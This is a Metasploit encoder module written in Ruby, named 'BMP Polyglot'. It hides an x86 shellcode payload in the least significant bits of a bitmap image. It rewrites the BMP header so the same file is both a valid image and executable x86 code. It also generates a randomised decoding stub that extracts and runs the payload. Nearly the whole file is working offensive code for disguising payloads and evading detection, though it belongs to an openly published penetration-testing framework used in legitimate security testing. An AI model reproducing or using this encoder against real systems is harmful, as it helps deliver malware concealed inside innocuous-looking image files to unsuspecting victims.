## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/poly' =begin [BITS 32] global _start _start: pushad ; backup all registers call get_eip ; get the value of eip get_eip: pop esi ; and put it into esi to use as the source add esi, 0x30 ; advance esi to skip this decoder stub mov edi, esi ; copy it to edi which is where to start writing add esi, 0x1234 ; increase the source to skip any padding mov ecx, 0x1234 ; set the byte counter get_byte: ; <---------------------------------------------------------\ xor eax, eax ; clear eax which is where our newly decoded byte will go | push ecx ; preserve the byte counter | xor ecx, ecx ; set the counter to 0 | mov cl, 8 ; set the counter to 8 (for bits) | get_bit: ; <------------------------------------------------------\ | shl eax, 1 ; shift eax one to make room for the next bit | | mov bl, byte [esi] ; read a byte from the source register | | inc esi ; advance the source register by a byte | | and bl, 1 ; extract the value of the least-significant bit | | or al, bl ; put the least-significat bit into eax | | dec ecx ; decrement the bit counter | | jne short get_bit ; -------------------------------------------------------/ | ; | ; get bit loop is done | pop ecx ; restore the byte counter | mov byte [edi], al ; move the newly decoded byte to its final destination | inc edi ; increment the destination pointer | ; | dec ecx ; decrement the byte counter | jne get_byte ; ----------------------------------------------------------/ ; get byte loop is done popad ; restore all registers =end # calculate the smallest increase of a 32-bit little endian integer which is # also a valid x86 jmp opcode of the specified minimum size. class SizeCalculator BYTE_NOPS = [ 0x42, # inc edx 0x45, # inc ebp 0x4a, # dec edx 0x4d, # dec ebp 0x90, # xchg eax, eax / nop 0xf5, # cmc 0xf8, # clc 0xf9, # stc 0xfc, # cld 0xfd # std ] def initialize(size, minimum_jump) @original_size = size raise if minimum_jump < 0 || minimum_jump > 0xff @minimum_jump = minimum_jump end def calculate possibles = [] size = new_size_long possibles << size unless size.nil? size = new_size_short possibles << size unless size.nil? return if possibles.length == 0 possibles.min end def new_size_long size = [ @original_size ].pack('V').unpack('CCCC') 0.upto(2) do |i| byte_0 = size[i] byte_1 = size[i + 1] byte_2 = size[i + 2].to_i byte_3 = size[i + 3].to_i byte_4 = size[i + 4].to_i min_jmp = (@minimum_jump - 5 - i) if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large if byte_0 > 0xfd size = increment_size(size, i) end size[i] = round_up_to_nop(byte_0) next end if byte_0 > 0xe9 if byte_0 > 0xfd size = increment_size(size, i) end size[i] = round_up_to_nop(byte_0) else size[i] = 0xe9 byte_1 = min_jmp if byte_1 < min_jmp size[i + 1] = byte_1 return size.pack('CCCC').unpack('V')[0] end end end def new_size_short return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max) size = [ @original_size ].pack('V').unpack('CCCC') 0.upto(2) do |i| byte_0 = size[i] byte_1 = size[i + 1] min_jmp = (@minimum_jump - 2 - i) if byte_0 > 0xeb if byte_0 > 0xfd size = increment_size(size, i) end size[i] = round_up_to_nop(byte_0) else size[i] = 0xeb if byte_1 > 0x7f byte_1 = min_jmp size = increment_size(size, i + 1) elsif byte_1 < min_jmp byte_1 = min_jmp end size[i + 1] = byte_1 return size.pack('CCCC').unpack('V')[0] end end end def size_to_jmp(size) jmp = 0 packed = [ size, 0 ].pack('VV') until [ "\xe9", "\xeb" ].include?(packed[0]) packed = packed[1..-1] jmp += 1 end if packed[0] == "\xe9" jmp += packed[1..4].unpack('V')[0] jmp += 5 elsif packed[0] == "\xeb" jmp += packed[1].unpack('C')[0] jmp += 2 end jmp end private def increment_size(size, byte) size = size.pack('CCCC').unpack('V')[0] size += (0x0100 << byte * 8) [ size ].pack('V').unpack('CCCC') end def round_up_to_nop(opcode) BYTE_NOPS.find { |nop| opcode <= nop } end end class MetasploitModule < Msf::Encoder Rank = ManualRanking DESTEGO_STUB_SIZE = 53 # bitmap header sizes BM_HEADER_SIZE = 14 DIB_HEADER_SIZE = 40 def initialize super( 'Name' => 'BMP Polyglot', 'Description' => %q{ Encodes a payload in such a way that the resulting binary blob is both valid x86 shellcode and a valid bitmap image file (.bmp). The selected bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file must use either 24 or 32 bits per pixel as the color depth and no compression. This encoder makes absolutely no effort to remove any invalid characters. }, 'Author' => 'Spencer McIntyre', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'References' => [ [ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ] ] ) register_options( [ OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ]) ], self.class) end def can_preserve_registers? true end def preserves_stack? true end def make_pad(size) (0...size).map { (rand(0x100)).chr }.join end def modified_registers # these two registers are modified by the initial BM header # B 0x42 inc edx # M 0x4d dec ebp [ Rex::Arch::X86::EBP, Rex::Arch::X86::EDX ] end # take the original size and calculate a new one that meets the following # requirements: # - large enough to store all of the image data and the assembly stub # - is also a valid x86 jmp instruction to land on the assembly stub def calc_new_size(orig_size, stub_length) minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header calc = SizeCalculator.new(orig_size + stub_length, minimum_jump) size = calc.calculate.to_i raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size jump = calc.size_to_jmp(size) pre_pad = jump - minimum_jump post_pad = size - orig_size - stub_length - pre_pad return { :new_size => size, :post_pad => post_pad, :pre_pad => pre_pad } end # calculate the least number of bits that must be modified to place the # shellcode buffer into the image data def calc_required_lsbs(sc_len, data_len) return 1 if sc_len * 8 <= data_len return 2 if sc_len * 4 <= data_len return 4 if sc_len * 2 <= data_len raise EncodingError, 'Bad .bmp, not enough image data for stego operation' end # asm stub that will extract the payload from the least significant bits of # the binary data which directly follows it def make_destego_stub(shellcode_size, padding, lsbs = 1) raise RuntimeError, 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs) gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle ptr_regs = [ 'edi', 'esi' ].shuffle # declare logical registers dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop) src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop) ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop) byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop) bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop) endb = Rex::Poly::SymbolicBlock::End.new get_eip_nop = Proc.new { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr } get_eip = Proc.new { |b| [ Proc.new { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr }, Proc.new { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr }, ].sample.call(b) } set_src_addr = Proc.new { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') } set_dst_addr = Proc.new { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr } set_byte_ctr = Proc.new { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') } adjust_src_addr = Proc.new { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') } initialize = Rex::Poly::LogicalBlock.new('initialize', Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) }, Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) }, Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) }, Proc.new { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) }, Proc.new { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) }, ) clr_byte_reg = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr } clr_ctr = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr } backup_byte_ctr = Proc.new { |b| (0x50 + b.regnum_of(ctr_reg)).chr } set_bit_ctr = Proc.new { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr } get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop', Proc.new { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) }, Proc.new { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) }, Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) }, Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) }, ) get_byte_loop.depends_on(initialize) shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg', Proc.new { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr } ) read_byte = Rex::Poly::LogicalBlock.new('read_byte', Proc.new { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr } ) inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg', Proc.new { |b| (0x40 + b.regnum_of(src_addr_reg)).chr } ) inc_src_reg.depends_on(read_byte) get_lsb = Rex::Poly::LogicalBlock.new('get_lsb', Proc.new { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr } ) get_lsb.depends_on(read_byte) put_lsb = Rex::Poly::LogicalBlock.new('put_lsb', Proc.new { |b| "\x08"+ (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr } ) put_lsb.depends_on(get_lsb, shift_byte_reg) jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body') jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg) jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop', Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr } ) jmp_bit_loop.depends_on(jmp_bit_loop_body) get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])) get_bit_loop.depends_on(get_byte_loop) put_byte = Proc.new { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr } inc_dst_reg = Proc.new { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr } restore_byte_ctr = Proc.new { |b| (0x58 + b.regnum_of(ctr_reg)).chr } get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post', Proc.new { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) }, Proc.new { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) }, Proc.new { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) }, ) get_byte_post.depends_on(get_bit_loop) jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body', Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr } ) jmp_byte_loop_body.depends_on(get_byte_post) finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61") finalize.depends_on(jmp_byte_loop_body) return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]) end def stegoify(shellcode, data, lsbs = 1) clr_mask = ((0xff << lsbs) & 0xff) set_mask = clr_mask ^ 0xff iter_count = 8 / lsbs shellcode.each_char.with_index do |sc_byte, index| sc_byte = sc_byte.ord 0.upto(iter_count - 1) do |bit_pos| data_pos = (index * (8 / lsbs)) + bit_pos shift = 8 - (lsbs * (bit_pos + 1)) d_byte = data[data_pos].ord d_byte &= clr_mask d_byte |= ((sc_byte & (set_mask << shift)) >> shift) data[data_pos] = d_byte.chr end end data end def validate_dib_header(dib_header) size, _, _, _, bbp, compression, _, _, _, _, _ = dib_header.unpack('VVVvvVVVVVV') raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32 raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0 end def encode(buf, badchars = nil, state = nil, platform = nil) in_bmp = File.open(datastore['BitmapFile'], 'rb') header = in_bmp.read(BM_HEADER_SIZE) dib_header = in_bmp.read(DIB_HEADER_SIZE) image_data = in_bmp.read in_bmp.close header, original_size, _, _, original_offset = header.unpack('vVvvV') raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42 validate_dib_header(dib_header) lsbs = calc_required_lsbs(buf.length, image_data.length) details = calc_new_size(original_size, DESTEGO_STUB_SIZE) destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs) if destego_stub.length != DESTEGO_STUB_SIZE # this is likely a coding error caused by updating the make_destego_stub # method but not the DESTEGO_STUB_SIZE constant raise EncodingError, 'Bad destego stub size' end pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad]) new_offset = original_offset + pre_image_data.length bmp_img = '' bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV') bmp_img << dib_header bmp_img << pre_image_data bmp_img << stegoify(buf, image_data, lsbs) bmp_img end end